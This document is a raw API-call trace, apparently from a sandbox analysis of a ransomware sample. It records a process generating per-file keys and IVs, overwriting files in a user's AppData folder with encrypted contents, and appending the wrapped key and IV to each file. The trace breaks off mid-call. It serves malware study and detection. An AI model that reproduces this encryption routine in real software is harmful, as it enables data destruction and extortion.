1 [0173.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\du.bin", dwFileAttributes=0x80) returned 1 [0173.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x2fbe608 [0173.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x570c48 [0173.221] ReadFile (in: hFile=0x1838, lpBuffer=0x555b90, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x286, lpOverlapped=0x0) returned 1 [0173.221] SetFilePointer (in: hFile=0x1838, lDistanceToMove=-646, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.222] WriteFile (in: hFile=0x1838, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x286, lpOverlapped=0x0) returned 1 [0173.222] SetFilePointer (in: hFile=0x1838, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x286 [0173.222] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.222] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.223] WriteFile (in: hFile=0x1838, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.224] WriteFile (in: hFile=0x1838, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.224] CloseHandle (hObject=0x1838) returned 1 [0173.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0173.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.227] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338", dwFileAttributes=0x80) returned 1 [0173.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x56c6b8 [0173.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x52f438 [0173.230] ReadFile (in: hFile=0x183c, lpBuffer=0x6f9020, nNumberOfBytesToRead=0xa6aeb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f9020*, lpNumberOfBytesRead=0x2e1f9bc*=0xa6aeb, lpOverlapped=0x0) returned 1 [0173.264] SetFilePointer (in: hFile=0x183c, lDistanceToMove=-682731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.264] WriteFile (in: hFile=0x183c, lpBuffer=0x3528020*, nNumberOfBytesToWrite=0xa6aeb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3528020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa6aeb, lpOverlapped=0x0) returned 1 [0173.271] SetFilePointer (in: hFile=0x183c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa6aeb [0173.271] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.271] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.271] WriteFile (in: hFile=0x183c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.272] WriteFile (in: hFile=0x183c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.272] CloseHandle (hObject=0x183c) returned 1 [0173.274] WriteFile (in: hFile=0x1840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0173.274] CloseHandle (hObject=0x1840) returned 1 [0173.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0173.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.275] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe038 [0173.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.276] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4443, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4443, lpOverlapped=0x0) returned 1 [0173.287] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17475, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.288] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5478*, nNumberOfBytesToWrite=0x4443, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4443, lpOverlapped=0x0) returned 1 [0173.288] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4443 [0173.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.288] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.289] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.289] CloseHandle (hObject=0x1844) returned 1 [0173.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0173.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", dwFileAttributes=0x80) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe2c8 [0173.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.291] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x43ad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x43ad, lpOverlapped=0x0) returned 1 [0173.315] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.315] WriteFile (in: hFile=0x1844, lpBuffer=0x30d53e0*, nNumberOfBytesToWrite=0x43ad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d53e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43ad, lpOverlapped=0x0) returned 1 [0173.316] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43ad [0173.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.316] WriteFile (in: hFile=0x1844, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.317] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.317] CloseHandle (hObject=0x1844) returned 1 [0173.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0173.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.319] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbea78 [0173.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.320] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x424c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x424c, lpOverlapped=0x0) returned 1 [0173.324] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.324] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5280*, nNumberOfBytesToWrite=0x424c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5280*, lpNumberOfBytesWritten=0x2e1f9bc*=0x424c, lpOverlapped=0x0) returned 1 [0173.325] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x424c [0173.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.325] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.325] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.326] CloseHandle (hObject=0x1844) returned 1 [0173.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", dwFileAttributes=0x80) returned 1 [0173.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbea78 [0173.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.328] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x5c3a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c3a, lpOverlapped=0x0) returned 1 [0173.329] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-23610, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.329] WriteFile (in: hFile=0x1844, lpBuffer=0x30d6c70*, nNumberOfBytesToWrite=0x5c3a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6c70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c3a, lpOverlapped=0x0) returned 1 [0173.329] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c3a [0173.329] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.330] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.330] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.330] CloseHandle (hObject=0x1844) returned 1 [0173.378] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.378] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.379] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbed08 [0173.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.379] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4172, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4172, lpOverlapped=0x0) returned 1 [0173.442] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16754, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.442] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51a8*, nNumberOfBytesToWrite=0x4172, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4172, lpOverlapped=0x0) returned 1 [0173.442] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4172 [0173.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.443] WriteFile (in: hFile=0x1844, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.443] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.444] CloseHandle (hObject=0x1844) returned 1 [0173.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.445] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", dwFileAttributes=0x80) returned 1 [0173.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe930 [0173.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.446] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x418b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x418b, lpOverlapped=0x0) returned 1 [0173.452] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.452] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51c0*, nNumberOfBytesToWrite=0x418b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418b, lpOverlapped=0x0) returned 1 [0173.452] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418b [0173.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.453] WriteFile (in: hFile=0x1844, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.453] WriteFile (in: hFile=0x1844, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.453] CloseHandle (hObject=0x1844) returned 1 [0173.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe2c8 [0173.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.455] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0173.483] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.483] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51b8*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0173.484] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4187 [0173.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.485] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.485] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.485] CloseHandle (hObject=0x1844) returned 1 [0173.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0173.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0173.488] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", dwFileAttributes=0x80) returned 1 [0173.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbee50 [0173.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.488] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x442d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x442d, lpOverlapped=0x0) returned 1 [0173.490] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.490] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5460*, nNumberOfBytesToWrite=0x442d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x442d, lpOverlapped=0x0) returned 1 [0173.490] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x442d [0173.490] CryptEncrypt (in: 